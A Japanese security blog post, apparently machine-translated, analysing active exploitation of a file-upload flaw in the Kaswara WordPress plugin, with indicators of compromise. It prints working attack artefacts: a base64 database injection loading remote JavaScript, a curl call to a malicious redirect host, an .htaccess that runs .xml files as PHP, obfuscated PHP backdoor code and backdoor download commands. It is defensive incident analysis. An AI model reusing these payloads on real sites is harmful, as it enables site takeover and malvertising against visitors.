脆弱なKaswaraモダンWPBakeryページビルダーアドオンプラグインが野生で悪用されている

公開: 2021-06-08

2021年4月20日に、WPScanの友人が、Kaswara Modern WPBakery PageBuilderAddonsとしても知られるKaswaraModernVCAddonsに深刻な脆弱性があることを報告しました。 Codecanyon / Envatoではもう利用できません。つまり、これを実行している場合は、別の方法を選択する必要があります。

この脆弱性により、認証されていないユーザーがプラグインのアイコンディレクトリ(./wp-content/uploads/kaswara/icons)に任意のファイルをアップロードできます。 これは、WPScanの友人がレポートで共有した最初の侵入の痕跡(IOC)です。

任意のファイルをWebサイトにアップロードする機能により、悪意のあるユーザーがサイトを完全に制御できるようになり、この感染の最終的なペイロードを定義することが困難になります。 したがって、これまでに見つけたすべてのものを紹介します(調査に少し夢中になっているので、読みたくない場合は、IOCセクションにジャンプしてください)。

データベースインジェクション、偽のAndroidアプリ、その他のバックドア

この攻撃で使用されたデータベースインジェクションのフォローアップを指摘してくれたSucuriの友人DenisSinegubkoに感謝します。

悪意のある攻撃者は、「kaswara-customJS」オプションを更新して、Javascriptコードの任意の悪意のあるスニペットを追加します。 これが私たちが見つけた1つの例です:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

このbase64でエンコードされた文字列は、次のように変換されます。

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

そして、このタイプのスクリプトで通常発生するように、一連の他のJavascriptコードスニペットをチェーンロードし、最終的なペイロードはマルバタイジングまたはエクスプロイトキットのいずれかになります。 これは、Wordfenceがここで報告したものと非常によく似ています。

この場合、スクリプトはhxxp://double-clickd[。]com/で終了し、不正なコンテンツをロードしていません。 2020年の初めから、疑わしいJavascriptがこのサイトを呼び出しているのを見つけました。そして、2018年以降、人々はすでにこのサイトをブロックしています。

サイトにアップロードされた偽のアプリ

調査したWebサイトで見つかった40個のAndroidアプリは、AliPay、PayPal、Correos、DHLなどのさまざまなアプリの偽のバージョンであり、このVirusTotal分析によると、最も人気のあるアンチウイルスベンダーによって幸運にも検出されていました。

侵害されたサイトで見つかったAPKファイルの1つでのVirusTotalの結果

私はアプリの意図を確認しませんでしたが、アプリが要求する権限を簡単に確認することで、アプリで何ができるかを垣間見ることができます。

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

ただし、これらのファイルは、Kaswaraエクスプロイトを使用してすぐにはアップロードされません。 サイトが侵害された後、攻撃者は最初に他のツールをアップロードしてサイトを完全に制御します。

アップロードされたファイル

一部のバックドアやその他のマルウェアも、この脆弱性によって侵害されたWebサイトで見つかりました。 この投稿では、最も人気があり興味深いものの簡単な分析を共有します。 ただし、最初に最も複雑なものに焦点を当てたいと思います。

リダイレクトおよび偽のアプリ

いくつかの侵害されたサイトで見つけた偽のアプリは、Kaswaraの脆弱性を悪用してアップロードされませんでした。 これらは多機能ハックツールを使用してサイトにアップロードされています。これにより、攻撃者はリモートコードをアップロードし(URLまたは文字列を提供することにより)、ユーザーを悪意のあるサイトにリダイレクトできます。

このファイルは、次の文字列が存在することで簡単に識別できますbase64_decode('MTIz');error_reporting(0); 働き

興味深いことに、これ以外のすべてをランダム化します。

マルウェアは1行にあります。これは、このタイプのコード異常を探している場合にも興味深いIOCです。

フルエンコードのc.phpマルウェア

理解しやすくするために、コードのほとんどの部分をデコードし、興味深い関数の名前を変更して、コードを美化しました。 マルウェアには6つの異なる関数が含まれており、そのうちの5つは$_GET['ts']変数に渡された値に基づいています。 このドキュメントでは、私が見つけた多くのインスタンスの1つであるc.phpについて考えてみましょう。

/c.php?ts=kt

これは何もせず、サイトに500エラーを返すように強制します(後でコードで)。

/c.php?ts=1

$q1aフラグの値をtrueに変更して、コード検証を実行し、攻撃者にOKメッセージを出力します。

この場合、リモートサイトは次のように応答します: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”コード”&p = 40bd001563085fc35165329ea1ff5c5ecbdbbeef

$_GET["p"]123のSHA1チェックサムである限り、$ _ GET $_GET["v"]の内容によって提供されるコードを使用してサーバーにファイルを書き込みますbase64_decode('MTIz') ?thisそのチェックサムです)。

/c.php?ts=tt

サーバーに5MBの「-」を書き込みます。これは、アップロード機能がサーバーで機能するかどうかをテストするために使用される可能性があります。

/c.php?ts=dwm&h=HASH1,HASH2

マルウェアはこの要求を受信すると、アップロードされたファイルがサーバーに正常に書き込まれたかどうかを確認するためのテストを実行します。 それらのMD5ハッシュは既知である必要があり、コンマ区切り値として$_GET['h']変数に送信されます。

/c.php?ts=dw&h=hash&l=URLs_as_CSV

一連のサードパーティのWebサイトからファイルをダウンロードし、ダウンロードしたファイルのmd5の最後の12文字にちなんで名前を付けてサーバーに保存します。

これは、偽のアプリをサーバーにアップロードするために使用されている機能です。

/c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697ファイルをダウンロードするリクエストの例を次に示します。

アクセスのリダイレクト

ktオプションが選択されているか、オプションが選択されていない場合、コードはリダイレクトに進みます。これは、必要なデータを含むJSONBLOBを要求することで実現されます。 次に、ヘッダー関数を使用して訪問者をリダイレクトします。

応答は次のようになります: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

必要なパラメーターを使用してcURLリクエストを実行する関数は、次のとおりです。

そして、それはこのcURLリクエストに変換できます:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

最終的なURLは、私がテストできる限り、ランダムですが、人気のあるサービスやアプリの偽のページであるという同じ特徴を共有しています。

wp-content / uploads / kaswara / icons / 16/javas.xmlおよびwp-content/uploads / kaswara / icons / 16 / .htaccess

XMLファイルは通常、潜在的な脅威としてマークされていませんが、この場合、Webサーバーの認識方法を変更する特別に細工された.htaccessファイルがあります。

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

実際、これはApacheに、xml、php、またはpdfを含むjavas、homes、またはmenusファイルをそれに応じて処理および実行されるPHPファイルとして理解するように指示します。 したがって、この.htaccessと同じディレクトリ構造に存在するこれらのファイルはいずれも疑わしいものになります。

javas.xmlファイルは、サイトにアップロードされた他の悪意のあるファイルと同じです。 違いは、ファイルの最後に1行または2行の空白行があるため、従来のハッシュが少し難しいことです。

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

悪意のあるコードは、str_rot13およびbase64でエンコードされた文字列を使用して難読化されます。 また、16進値と数学演算を使用して、文字列をもう少し非表示にします。 POSTリクエストの値に基づいて関数を作成するため、最終的なペイロードは不明です。 ただし、ペイロードは、作成前にmd5チェックに依存しているため、毎回同じように見えます(c42ea979ed982c02632430e9e98a66d6はmd5ハッシュです)。

結論

これは活発なキャンペーンであるため、この投稿を書いている時点で、影響を受けるサイトにさまざまなマルウェアの例がドロップされていることがわかります。 いくつかは私たちがここに持っているものの単なるバリエーションですが、他のものはより深い分析のために十分に興味深いものです。 これらの他の例のいくつかを探索するために、すぐに来るいくつかの小さな投稿を探してください。

これは、拡張機能を最新のセキュリティ修正で更新することの重要性を示しています。 開発者が修正をタイムリーにリリースしない場合、または修正がWordPress.orgリポジトリ(または他のマーケットプレイス)から削除される場合は、より安全な代替手段を見つけることを強くお勧めします。

サイトのマルウェアや脆弱性が心配な場合は、Jetpackのセキュリティ機能を確認してください。 Jetpack Securityは、バックアップ、マルウェアスキャン、スパム保護など、使いやすい包括的なWordPressサイトセキュリティを提供します。

侵入の痕跡

ここに、特定したすべてのIOCの完全なリストがあります。

ハッシュ(SHA-1)脅威の説明
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 偽のAndroidアプリ
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 偽のAndroidアプリ
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded 偽のAndroidアプリ
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd 偽のAndroidアプリ
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf 偽のAndroidアプリ
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 偽のAndroidアプリ
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe 偽のAndroidアプリ
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c 偽のAndroidアプリ
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a 偽のAndroidアプリ
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e 偽のAndroidアプリ
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b 偽のAndroidアプリ
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa 偽のAndroidアプリ
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc 偽のAndroidアプリ
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea 偽のAndroidアプリ
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb 偽のAndroidアプリ
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 偽のAndroidアプリ
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae 偽のAndroidアプリ
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./ 04d2e95f9573 偽のAndroidアプリ
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e 偽のAndroidアプリ
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c 偽のAndroidアプリ
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e 偽のAndroidアプリ
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f 偽のAndroidアプリ
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b 偽のAndroidアプリ
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 偽のAndroidアプリ
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 偽のAndroidアプリ
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 偽のAndroidアプリ
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c 偽のAndroidアプリ
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc 偽のAndroidアプリ
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa 偽のAndroidアプリ
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 偽のAndroidアプリ
ce8dfe115d9546197d57c9cc9f93abb51​​3aadf4a ./715b3f4ed70d 偽のAndroidアプリ
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 偽のAndroidアプリ
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 偽のAndroidアプリ
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 偽のAndroidアプリ
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 偽のAndroidアプリ
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 偽のAndroidアプリ
a36c3667be58efa50441418b58b5487d873b5d63 ./ 067fd1c69444 偽のAndroidアプリ
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d 偽のAndroidアプリ
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 偽のAndroidアプリ
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 偽のAndroidアプリ
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php ドロップされたマルウェア
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php ドロップされたマルウェア
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php PHPファイルアップローダー
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content / uploads / kaswara / icons / kntl / cc.php ドロップされたマルウェア
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content / uploads / kaswara / icons / 16 / icons.php リモートコード実行マルウェア
d51366d5062e7fd4d1422a59e75b585053643549 wp-content / uploads / kaswara / icons / brt / t.php ドロップされたマルウェア
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php ドロップされたマルウェア
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php ドロップされたマルウェア
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php ドロップされたマルウェア
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip ドロップされたマルウェア
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip ドロップされたマルウェア
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php ドロップされたマルウェア
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php ドロップされたマルウェア
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php リモートコード実行マルウェア
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php ドロップされたマルウェア
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.phpまたは./wp-content/uploads/xeh02b.php ドロップされたマルウェア
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php ドロップされたマルウェア
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php リモートコード実行マルウェア
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php ドロップされたマルウェア
wp-content / uploads / kaswara / icons / 16 / javas.xml リモートコード実行マルウェア
smurfetta.ru 悪意のあるドメイン
http://papass.ru 悪意のあるドメイン